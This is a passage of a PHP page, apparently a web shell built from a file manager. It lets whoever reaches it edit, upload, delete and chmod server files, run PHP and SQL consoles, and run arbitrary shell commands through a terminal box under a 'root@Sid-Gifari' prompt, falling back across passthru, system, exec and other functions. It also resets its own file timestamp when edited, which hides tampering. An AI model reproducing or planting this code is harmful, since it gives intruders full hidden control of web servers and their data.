DFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
